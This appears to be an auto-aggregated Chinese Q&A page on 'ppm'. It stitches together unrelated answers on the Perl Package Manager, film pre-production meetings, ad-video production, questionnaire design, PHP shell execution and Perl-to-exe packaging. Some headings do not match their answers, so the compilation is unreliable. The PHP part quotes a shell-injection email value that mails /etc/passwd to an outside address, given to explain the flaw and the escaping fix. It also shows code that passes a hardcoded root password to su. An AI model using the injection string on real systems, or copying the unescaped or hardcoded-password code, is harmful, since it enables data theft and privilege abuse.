脚本ppm
Ⅰ Perl Package Manager 是什么软件
Perl Package Manager 简称 ppm, 是 perl 的一个附带软件, 主要功能就是帮你 "无痛装包"!
( 所谓包就是 package, 可以当是扩展, 又或者相对于 c 的 lib ) 在 perl 里手动装一个包实在是一件很痛苦的事 ,首先你要从 cpan 下载一个包, 解压后, 再 perl makefile, 再 nmake, make install ...... 这样写一大轮, 更糟的是如果这个包还需要另一个包才能运你就得每个包都重覆以上动作, 而且, 不一定成功 ( 本人的经验是十次有六次都是失败的 ) .
ppm 就将以上的动作自动化. 自动追加装载附带需要的包. 并提供 GUI 和 Command line 两种接口
例如: ppm install Mail::Sender 这样就会自动帮你下载一个叫 Mail::Sender 的包, 并安装妥当.
Ⅱ 请教!用activeperl写的脚本,现在用StrawberryPerl运行报错
假设你想安装的模块叫: Mole::You::Want
Activeperl , 可以按 [Win]+[R], 执行 "PPM" ,
这会打开 perl package manager 的 GUI (图形界面),
也可以在到 cmd 里, 执行 :
ppm install Mole::You::Want
也可以在到 cmd 里, 执行 :
cpan Mole::You::Want
(留意大小写!)
Strawberry Perl 则没有 ppm , 所以只能用 CPAN, 方法同上面一样
不过, 在第一次执行 CPAN 前, 最好先确定在用的 CPAN 是最新版本, 所以, 无论是 ActivePerl 还是 Strawberry Perl , 如果要用 CPAN 来装楔块, 建议先执行一次.
cpan CPAN
Ⅲ perl脚本中如何调用matlab中的m文件
不推荐你在win 下用activeperl安装,
推荐你到linux下安装。
当然你也可以尝试下了ppm install Math-Matlab
自己到cpan上下载模块编译安装也可以的,比较麻烦
Ⅳ 企业微电影制作分为哪几个阶段
【商业微电影前期准备脚本】说明:
首先微电影创意得到客户确认、并获准进入拍摄阶段时,前期策划会将创意的文案、画面说明及提案给客户,并就微电影的长度、规格、交微电影日期、目的、任务、情节、创意点、气氛和禁忌等作必要的书面说明,以助客户和后期拍摄制作团队理解该微电影的创意背景、目标对象、创意原点及表现风格等等。
微电影拍摄投资估价:
当后期拍摄团队收到脚本说明之后,拍摄团队会就自己对创意的理解预估将合适的制作方案及相应的价格呈报给公司,供公司及广告客户确认。
一般而言,一份合理的估价应包括拍摄准备、拍摄器材、拍摄场地、拍摄置景、拍摄道具、拍摄服装、摄制组(导演、制微电影、摄影师、灯光师、美术、化妆师、服装师、造型师、演员等)、电力、转磁、音乐、剪辑、特技、二维及三维制作、配音及合成等制作费、制作公司利润、税金等广告影微电影制作中的全部方面,并附制作日程表。甚至可以包含具体的选择方案。
微电影需求方(客户)确认:
将估价呈报给客户,当客户确认后,由客户、广告公司、制作公司签立具体的制作合同。然后,根据合同和最后确认的制作日程表,制作团队会在规定的时间内准备接下来的第一次制作准备会。
微电影拍摄前准备:
在此期间,制作公司将就制作脚本、导演阐述、灯光影调、音乐样本、堪景、布景方案、演员试镜、演员造型、道具、服装……等有关微电影拍摄的所有细节部分进行全面的准备工作,以寻求将广告创意呈现为广告影微电影的最佳方式。
第一次制作准备会:PPM是英文Pre-ProctMeeting的缩写。在PPM上,将由制作公司就微电影拍摄中的各个细节向客户及广告公司呈报,并说明理由。通常制作公司会提报不止一套的制作脚本、导演阐述、灯光影调、音乐样本、堪景、布景方案、微电影演员试镜、演员造型、道具、服装……等有关微电影拍摄的所有细节部分供客户和微电影拍摄制作公司选择,最终一一确认,作为之后拍微电影的基础依据。
如果某些部分在此次会议上无法确认,则(在时间允许的前提下)安排另一次制作准备会直到最终确认。因此,制作准备会召开的次数通常是不确定的,如果只召开一次,则PPM1和PPM2、Final PPM就没有什么差别。
第二次制作准备会:
经过再一次的准备,就第一次制作准备会(PPM1)上未能确认的部分,制作团队将提报新的准备方案,供客户及广告公司确认,如果全部确认,则不再召开最终制作准备会(Final PPM),否则(在时间允许的前提下)再安排另一次制作准备会直到最终确认。
最终制作准备会:
这是最后的制作准备会,为了不影响整个拍微电影计划的进行,就未能确认的所有方面,客户、微电影拍摄制作公司必须共同协商出可以执行的方案,待三方确认后,作为之后拍微电影的基础依据。
拍微电影前最后检查:
在进入正式拍摄之前,公司的制片人员对最终制作准备会上确定的各个细节,进行最后的确认和检视,以杜绝任何细节在拍片现场发生状况,确保微电影的拍摄完全按照计划顺利执行。其中尤其需要注意的是场地、置景、微电影演员、特殊镜头等方面。
另外,在正式拍微电影之前,制作公司会向包括客户、广告公司、摄制组相关人员在内的各个方面,以书面形式的“拍摄通告”告知拍摄地点、时间、摄制组人员、联络方式等。
拍摄按照最终制作准备会的决议,拍摄的工作在安排好的时间、地点由摄制组按照拍摄脚本进行拍摄工作。为了对客户和创意负责,除了摄制组之外,通常制作公司的制微电影人员会联络客户、有关创作人员等参加拍摄。
根据经验和作业习惯,为了提高工作效率,保证表演质量,镜头的拍摄顺序有时并非按照拍摄脚本的镜头顺序进行,而是会将机位、景深相同相近的镜头一起拍摄。为确保拍摄的镜头足够用于剪辑,每个镜头都会拍摄不止一遍,而导演也可能会多拍一些脚本中没有的镜头。
Ⅳ 制片服务的流程是怎么样的
美国影片制作流程是这样的:
1, 选择剧本. 这是最重要的,一般是由制片人来选择剧本,但是也不缺乏导演来选择剧本的,但是导演在选择了一部好的剧本之后就要说服公司以及制片人,来为他投资,但是在现在的电影中导演是没有剧本改编权利的,如果他在开拍前希望改变剧本就必须经过公司上层董事会的批准.
2, 资金. 每部电影都不能没有雄厚的资金,象<强战世界>这样的电影,超过了2亿美金,那么就得找到一个很厉害的公司做电影投资.
3,选择导演、演员. 中国电影不会有选择导演这种说法的,在一部电影里导演说的算,这就意味着他们不仅要对电影的质量负责还要对片场的其他方面负责,而国际电影制作中导演只需要负责好电影拍摄的任务. 在国际化的电影制作中是剧本选择导演,而不是导演选择剧本. 制片人在电影筹备时还要担当起选择演员的任务,在中国大陆这些都是由副导演来完成的.
4, 在一部成功的电影中,不仅要有很棒的剧本,很好的故事情节,好的导演.最重要的是有大牌明星的参与. 明星是电影中闪亮的焦点,也是电影票房的保障.
5, 组建摄制组,进行拍摄.
6, 电影剪接. 在美国的商业电影中,导演是没有剪接权利的,都是由制片公司进行剪接,但是如果是一线导演的话,那就不同了.
7, 发行商, 商业电影中发行商和制片商不是一家,发行商是通过竞争来取得发行权,一部电影的好坏也可以通过看发行商来表现.
8, 发行海报,广告宣传. 就拿<强战世界>来说,早在电影放影4个月前电影的广告和宣传海报就已经出炉.
9, 电影国际发行,发放电影配音权,剪编权
10, 参加电影节
Ⅵ 什么是PPM,工作中应该怎样做
摘要 PPM是英文“制作前会议”的缩写,
Ⅶ 广告视频怎么制作
本文介绍视频广告片的制作标准流程,希望对喜欢视频制作这方面的朋友有一些帮助。 一、前期准备脚本说明:当创意完全确认、并获准进入拍摄阶段时,广告公司会将创意的文案、画面说明及提案给客户的故事板(Storyboard)呈递给合适的制作公司(可能不止一家),注并就广告片的长度、规格、交片日期、目的、任务、情节、创意点、气氛和禁忌等作必要的书面说明,以帮助制作公司理解该广告片的创意背景、目标对象、创意原点及表现风格等等。注同时要求制作公司在限定的时间里呈递估价(Quotation)和制作日程表(Schele)以供选择。估价:当制作公司收到脚本说明(Storyboard Briefing)之后,制作公司会就自己对创意的理解预估将合适的制作方案及相应的价格呈报给广告公司,供广告公司及广告客户确认。 一般而言,一份合理的估价应包括拍摄准备、拍摄器材、拍摄场地、拍摄置景、拍摄道具、拍摄服装、摄制组(导演、制片、摄影师、灯光师、美术、化妆师、服装师、造型师、演员等)、电力、转磁、音乐、剪辑、特技、二维及三维制作、配音及合成等制作费、制作公司利润、税金等广告影片制作中的全部方面,并附制作日程表。甚至可以包含具体的选择方案。客户确认:由广告公司将制作公司的估价呈报给客户,当客户确认后,由客户、广告公司、制作公司签立具体的制作合同。然后,根据合同和最后确认的制作日程表(Schele),制作公司会在规定的时间内准备接下来的第一次制作准备会(PPM1)。拍摄前准备:在此期间,制作公司将就制作脚本(Shootingboard)、导演阐述、灯光影调、音乐样本、堪景、布景方案、演员试镜、演员造型、道具、服装……等有关广告片拍摄的所有细节部分进行全面的准备工作,以寻求将广告创意呈现为广告影片的最佳方式。第一次制作准备会:PPM是英文Pre-Proct Meeting的缩写。在PPM上,将由制作公司就广告影片拍摄中的各个细节向客户及广告公司呈报,并说明理由。通常制作公司会提报不止一套的制作脚本(Shootingboard)、导演阐述、灯光影调、音乐样本、堪景、布景方案、演员试镜、演员造型、道具、服装……等有关广告片拍摄的所有细节部分供客户和广告公司选择,最终一一确认,作为之后拍片的基础依据。 如果某些部分在此次会议上无法确认,则(在时间允许的前提下)安排另一次制作准备会直到最终确认。因此,制作准备会召开的次数通常是不确定的,如果只召开一次,则PPM1和PPM2、Final PPM就没有什么差别。第二次制作准备会:经过再一次的准备,就第一次制作准备会(PPM1)上未能确认的部分,制作公司将提报新的准备方案,供客户及广告公司确认,如果全部确认,则不再召开最终制作准备会(Final PPM),否则(在时间允许的前提下)再安排另一次制作准备会直到最终确认。最终制作准备会:这是最后的制作准备会,为了不影响整个拍片计划的进行,就未能确认的所有方面,客户、广告公司和制作公司必须共同协商出可以执行的方案,待三方确认后,作为之后拍片的基础依据。拍片前最后检查:在进入正式拍摄之前,制作公司的制片人员对最终制作准备会上确定的各个细节,进行最后的确认和检视,以杜绝任何细节在拍片现场发生状况,确保广告片的拍摄完全按照计划顺利执行。其中尤其需要注意的是场地、置景、演员、特殊镜头等方面。 另外,在正式拍片之前,制作公司会向包括客户、广告公司、摄制组相关人员在内的各个方面,以书面形式的“拍摄通告”告知拍摄地点、时间、摄制组人员、联络方式等。二、拍摄按照最终制作准备会的决议,拍摄的工作在安排好的时间、地点由摄制组按照拍摄脚本Shooting board进行拍摄工作。为了对客户和创意负责,除了摄制组之外,通常制作公司的制片人员会联络客户和广告公司的客户代表AE、有关创作人员等参加拍摄。 根据经验和作业习惯,为了提高工作效率,保证表演质量,镜头的拍摄顺序有时并非按照拍摄脚本Shooting board的镜头顺序进行,而是会将机位、景深相同相近的镜头一起拍摄。另外儿童、动物等拍摄难度较高的镜头通常会最先拍摄,而静物、特写及产品镜头通常会安排在最后拍摄。为确保拍摄的镜头足够用于剪辑,每个镜头都会拍摄不止一遍,而导演也可能会多拍一些脚本中没有的镜头。
Ⅷ 一些与广告有关的。
影视广告的广告脚本是包括镜头描述和文案已经创意阐述的 这三项组成了广告脚本
PPM即Papers Per Minute
用溶质质量占全部溶液质量的百万分比来表示的浓度,也称百万分比浓度。ppm就是百万分率或百万分之几,在农药应用中以往常用于表示喷洒液的浓度,即一百万份喷洒液中含农药有效成分的份数。现根据国际规定百万分率已不再使用ppm来表示,而统一用微克/毫升或毫克/升或克/立方米来
胶转磁 把用胶片拍摄的电影转成磁盘数据格式进行保存,每部以胶片摄制的电影制作DVD都要经过这一步的。
广告脚本
一、撰写脚本的步骤
1、选题
首先要了解计划制作的课题采用课件进行辅助教学的必要性和可能性,要调查该课题在采用课堂教学方式或其它较易实现的教学方式时,是否能较好的达到教学目标,要从经费、设备、时间、技术水平和教学效果等方面加以综合考虑。在初步确定某一课题需要且可以采用课件方式之后,还应调查现有的课件,如果确认没有合适的现成课件,才可选定该课题。
2、制订课题计划
课题计划包括确定教学目的要求、划分课时和教学基本单元、选择教学方法、确定调试方式等。CAI每节课的时间要少于通常的课堂教学。CAI课件调度各教学基本单元的方式一般有程序式、菜单式和混合式三种。所谓程序式是在事先编好的程序控制下,由计算机根据学生在学习时的反应决定有关教学单元之间的连接顺序;所谓菜单式是由计算机在屏幕上显示教学内容的目录,由学生根据需要加以选择调用;至于混合式,则是将上述两种方式混合采用,一般以菜单式为纲,以程序式为目的。
3、绘制画面
脚本纸的选择应根据计算机屏幕的显示格式来选取。课件中的画面应按比例绘制在脚本纸上。如果在若干页画面中都有相同的图,则可在该图第一次出现时,对其进行标号,此后以图号代替。这样处理不仅可以节省绘制时间,还可方便软件编程。
4、标注说明
对一些有特殊要求的画面,如闪烁、动画、视频等,要在脚本上标注简短的文字说明。每页脚本都要编制“本页流程图”,用以说明本页的画面是由哪些画面组成;在什么情况下进入什么画面;显示的先后次序和动画、切换效果等。每页脚本纸(包括分支),还需编上页码。
5、重叠检查
各页画面绘制完成后,应重点检查连续画面重叠时是否配合,如练习与答案的显示位置是否配合等。如不认真进行重叠检查,很容易出现画面不配合现象,给编程带来麻烦。
6、编制顺序
在逐页绘制画面的过程中,还应根据需要不断地调整页码的顺序。全部画面绘制好后,应将初步排好的顺序与每页的流程图对照。对照核实后重新编上页码。
7、绘制课题流程图
“本页流程图”只是一个局部的片断。“课题流程图”是指一课时脚本的整体流程图。脚本各页的顺序编排好后,要沿着不同的学习路线和分支,按几种路线再分别检查,确定无错误后,最后绘制好课题流程图。
广告脚本的表现手法 通过以上方法使脚本生成,按照流程完成脚本内容。
问卷调查会遇到的困难:
调查问卷设计(1)
问卷设计步骤
问卷设计技术
决定每个问题的措辞
问题的类型
询问形式
态度测量表法
评价问卷的标准
小结
【开篇案例】
撰写一份优秀问卷的要点
莱恩?纽曼(Lynn Newman),是冯瑞兹(Maritz)公司市场研究部的副主管,曾谈到撰写一份优秀问卷的要点。如果你曾将你认为的“最终”问卷送给一位市场研究人员,结果拿回的问卷上到处是添加或删改的痕迹及其他编辑意见,这并不奇怪。乍一看,撰写问卷并不是一件非常困难的任务:只要表达出你想了解什么,并写出能得到哪些信息的问题即可。虽然撰写问卷很简单,但撰写优秀问卷却不容易。这里有一些在撰写问卷时应该做什么和不应该做什么的要点:
(1)避免应答者可能不明白的缩写、俗语或生僻的用语。比如,你对PPO的意见是什么?很可能不是每个人都知道PPO代表优先提供者组织(Preferred Provider Organization)。如果这一问题以一般公众为目标应答者,研究人员可能会遇到麻烦。另一方面,如果问题针对物理学家或医院管理者,那么缩写PPO很可能是可接受的。
(2)要具体。含糊的提问得到含糊的答案。例如,您的家庭收入是多少?当应答者给出此问题的数字答案时,其答案是各式各样的,如1994年的税前收入,1994年的税后收入,1995年税前收入,1995年税后收入。
(3)不要过头。当问题的要求过多时,人们是不会回答的,他们或者拒绝或者乱猜。例如,1996年您读了多少本书?需给出一个范围:①无;②1~10本;③11~25本;④26~50本;⑤多于50本。
(4)确保问题易于回答。要求过高的问题也会导致拒答或猜想。例如,请您以购买新车时考虑因素的重要性将以下20项排序。你正在让应答者做一次相当大的计算工作。不要让人们为20项排序,应让他们挑选出前5项。
(5)不要过多假设,这是一个相当普遍的错误。问题撰写者默认了人们的一些知识、态度和行为。例如,您对总统关于枪支控制的立场倾向于同意还是反对?这一问题假设了应答者知道总统对枪支控制有一个立场并知道立场是什么。
(6)注意双重问题和相反观点的问题,将多个问题结合起来或运用相反观点的问题会导致模棱两可的问题和答案。例如,“您赞同在私人住宅而不在公共场所吸食大麻合法化吗?”如果此问题精确描述应答者的立场,那么就很容易解释“是”这种回答。但是回答为“不”可能意味着应答者赞同在公共场所吸大麻而不赞同在私人场所吸,或两者都反对,或两者都赞同。“警察总长不应该对市长直接负责吗?”这个问题模棱两可,几乎任何回答都可以。
(7)检查误差。带有误差的问题会引导人们以某一方式回答,但这种方式不能准确反映其立场。有几种使问题存在偏向性的方式。一种方式是暗示应答者本应参与某一行为。例如,“今年看电影《狮子王》的人比看其他电影的人多。您看过这部电影吗?”为了不显示出“不同”,应答者即使没有看过也会说是的。问题应该是“您曾看过电影《狮子王》吗?”
另一种使问题具有误差性的方式是使选择答案不均衡。例如,“近期我国每年在援助外国方面花费XX万美元。您认为这个数字应:①增加;②保持不变;③稍减一点;④减少一点;⑤大量减少”。这套答案鼓励应答者选择“减少”选项,因为其中有3项“减少”,而只有一项是增加。
(8)预先测试。正式调查之前的试调查,“所有的修改和编辑都不能保证成功。事先测试是保证你的问卷研究项目成功而费用最低的方式。”事先测试的基本目的是保证问卷提供给应答者以清晰、容易理解的问题,这样的问题将得到清晰、容易理解的回答。
在访问类方法中,邮寄调查、留置调查都要采用问卷,面谈法、电话调查也可以采用问卷的形式。因此问卷设计就成为调查前一项重要的准备工作。问卷设计的好坏,在很大程度上决定着调查问卷的回收率、有效率,甚至关系到市场调查活动的成败。问卷设计的科学性在市场调查中具有关键性意义。
问卷设计步骤
设计问卷的目的是为了更好地收集市场信息,因此在问卷设计过程中,首先要把握调查的目的和要求,同时力求使问卷取得被调查者的充分合作,保证提供准确有效的信息。具体可分为以下几个步骤:第一步,根据调查目的,确定所需的信息资料。然后在此基础上进行问题的设计与选择。第二步,是确定问题的顺序。一般简单的、容易回答的放在前面,逐渐移向难度较大的。问题的排列要有关联、合乎逻辑,便于填卷人合作并产生兴趣。第三步,是问卷的测试与修改。在问卷用于实地调查以前,先初选一些调查对象进行测试,根据发现的问题进行修改、补充、完善。
补充阅读材料3-1
问卷设计的程序
问卷设计是由一系列相关的工作过程所构成的。为使问卷具有科学性、规范性和可行性,一般可以参照以下程序进行:
1.确定调研目的、来源和局限
2.确定数据收集方法
3.确定问题回答形式
4.决定问题的措辞
5.确定问卷的流程和编排
6.评价问卷和编排
7.获得各相关方面的认可
8.预先测试和修订
9.准备最后的问卷
10.实施
步骤1:确定调研目的、来源和局限
调研过程经常是在市场部经理、品牌经理或新产品开发专家做决策时感到所需信息不足发起的。在一些公司中,评价全部二手资料以确认所需信息是否收集齐全是经理的责任。在另外一些公司中,经理将所有的市场调研活动,包括一手资料和二手资料的收集交由市场研究部门去做。
尽管可能是品牌经理发起了市场研究,但受这个项目影响的每个人,如品牌经理助理、产品经理,甚至生产营销经理都应当一起讨论究竟需要些什么数据。询问的目标应当尽可能精确、清楚,如果这一步做得好,下面的步骤会更顺利、更有效。
步骤2:确定数据收集方法
获得询问数据可以有多种方法,主要有人员访问、电话调查、邮寄调查与自我管理访问。每一种方法对问卷设计都有影响。事实上,在街上进行拦截访问比八户访问有更多的限制,街上拦截访问有着时间上的限制;自我管理访问则要求问卷设计得非常清楚,而且相对较短,因为访问人员不在场,没有澄清问题的机会;电话调查经常需要丰富的词汇来描述一种概念以肯定应答者理解了正在讨论的问题。对比而言,在个人访谈中访问员可以给应答者出示图片以解释或证明概念。
步骤3:确定问题回答形式
开放式问题、封闭式问题、量表应答式问题
(l)开放式问题。
开放式问题是一种应答者可以自由地用自己的语言来回答和解释有关想法的问题类型。也就是说,调研人员没有对应答者的选择进行任何限制。
(2)封闭式问题。
封闭式问题是一种需要应答者从一系列应答项做出选择的问题。
(3)量表应答式问题。
则是以量表形式设置的问题。
步骤4:决定问题的措辞
(l)用词必须清楚。
(2)避免诱导性的用语。
(3)考虑应答者回答问题的能力。
(4)考虑到应答者回答问题的意愿。
步骤5:确定问卷的流程和编排
问卷不能任意编排,问卷每一部分的位置安排都具有一定的逻辑性。其逻辑性描述在表61中列出。有经验的市场研究人员很清楚问卷制作是获得访谈双方联系的关键。联系越紧密,访问者越可能得到完整彻底的访谈。同时,应答者的答案可能思考得越仔细,回答得越仔细。
步骤6:评价问卷和编排
一旦问卷草稿设计好后,问卷设计人员应再回过来做一些批评性评估。如果每一个问题都是深思熟虑的结果,这一阶段似乎是多余的。但是,考虑到问卷所起的关键作用,这一步还是必不可少的。在问卷评估过程中,下面一些原则应当考虑。
(1)问题是否必要。
(2)问卷是否太长。
(3)问卷是否回答了调研目标所需的信息。
(4)邮寄及自填问卷的外观设计。
(5)开放试题是否留足空间。
(6)问卷说明是否用了明显字体等等。
步骤7:获得各方面的认可
问卷设计进行到这一步,问卷的草稿已经完成。草稿的复印件应当分发到直接有权管理这一项目的各部门。实际上,营销经理在设计过程中可能会多次加进新的信息、要求或关注。不管经理什么时候提出新要求,经常的修改是必需的。即使经理在问卷设计过程中已经多次加入,草稿获得各方面的认可仍然是重要的。
经理的认可表明了经理想通过具体的问卷来获得信息。如果问题没有问,数据将收集不到。因此,问卷的认可再次确认了决策所需要的信息以及它将如何获得。例如,假设新产品的问卷询问了形状、材料以及最终用途和包装,一旦得到认可,意味着新产品开发经理已经知道“什么颜色用在产品上”或“这次决定用什么颜色”并不重要。
步骤8:预先测试和修订
当问卷已经获得管理层的最终认可后,还必须进行预先测试。在没有进行预先测试前,不应当进行正式的询问调查。通过访问寻找问卷中存在的错误解释、不连贯的地方、不正确的跳跃模型。为封闭式问题寻找额外的选项以及应答者的一般反应。预先测试也应当以最终访问的相同形式进行。如果访问是入户调查,预先测试应当采取入户的方式。
在预先测试完成后,任何需要改变的地方应当切实修改。在进行实地调研前应当再一次获得各方的认同,如果预先测试导致问卷产生较大的改动,应进行第二次测试。
步骤9:准备最后的问卷
精确的打印指导、空间、数字、预先编码必须安排好,监督并校对,问卷可能进行特殊的折叠和装订。
步骤10:实施
问卷填写完后,为从市场获得所需决策信息提供了基础。问卷可以根据不同的数据收集方法并配合一系列的形式和过程以确保数据可正确地、高效地、以合理的费用收集。这些过程包括管理者说明、访问员说明、过滤性问题、记录纸和可视辅助材料。
Ⅸ 信息扩充、整数乘法与工具整合”中,html与Linux脚本,这两个工具,如何实现的优
在php中调用外部命令,可以用如下三种方法来实现: 1) 用PHP提供的专门函数 PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。 例子: 复制代码 代码如下: usr/local/bin/webalizer/webalizer"); > exec() 原型:string exec (string command [, string array [, int return_var]]) exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码。 例子: 复制代码 代码如下: bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc); > passthru() 原型:void passthru (string command [, int return_var]) passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。 例子: 复制代码 代码如下: gif"); passthru("./ppmtogif hunte.ppm"); > 2) 用popen()函数打开进程 上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。 popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。 例子1: 复制代码 代码如下: 例子2: 复制代码 代码如下: * PHP中如何增加一个系统用户 下面是一段例程,增加一个名字为james的用户, root密码是 verygood。仅供参考 */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); > 3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面) 这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如: 复制代码 代码如下: 这个脚本的输出就象: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php 要考虑些什么? 要考虑两个问题:安全性和超时。 先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样: 复制代码 代码如下: <php system("mail $to procts.txt"); echo "我们的产品目录已经发送到你的信箱:$to"; > 用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址: '--bla ; mail [email protected] < /etc/passwd ;' 那么这条命令最终变成: 'mail --bla ; mail [email protected] < /etc/passwd ; procts.txt' 我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。 幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。 再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如: 复制代码 代码如下: usr/local/bin/order_proc > /tmp/null &"); >
Ⅹ 请问genesis的perl脚本怎么转exe
第一种方法:PP
第一步:ppm install par
这个比较简单,当然如果幸运的话,你应该可以直接使用par了,但是我没有那么幸运,因为安装之后找不到pp.bat,实际上这是ActivePerl的问题,没办法只能往下继续了。
第二步:重新安装par-packer
不过之前要更新一个模块File-Temp,我原来的版本是0.12,太低,换成0.18的
ppm install http://www.bribes.org/perl/ppm/File-Temp.ppd
然后安装par-packer 0.975
ppm install http://www.bribes.org/perl/ppm/PAR-Packer.ppd
第三步:这时已经可以使用pp.bat了,但是你会发现pp不能生成exe文件,总是报
erl lib version (v5.8.8) doesn't match executable version (v5.8.6)的错误,
原因在于二进制不兼容,需要继续修改。
第四步:下载5.8.8的par-packer
http://www.perl.com/CPAN/authors/id/S/SM/SMUELLER/PAR-Packer-0.975-MSWin32-x86-multi-thread-5.8.8.par
第五步:从par文件中提取Static.pm和Dynamic.pm和base.pm三个文件(par可以用zip打开),用这三个文件替换C:/Perl/site/lib/PAR/StrippedPARL目录下的同名文件。
第六步:执行pp -o t.exe t.pl
第二种方法:使用Perl2Exe
1、下载http://d.download.csdn.net/down/3347756/zcp2006
2、perl2exe hello.pl
第三种方法:Cava Packager
tools-->Non-Commercial Subscription
第四种方法:PDK
需要安装PDK工具,可到http://www.activestate.com/下载。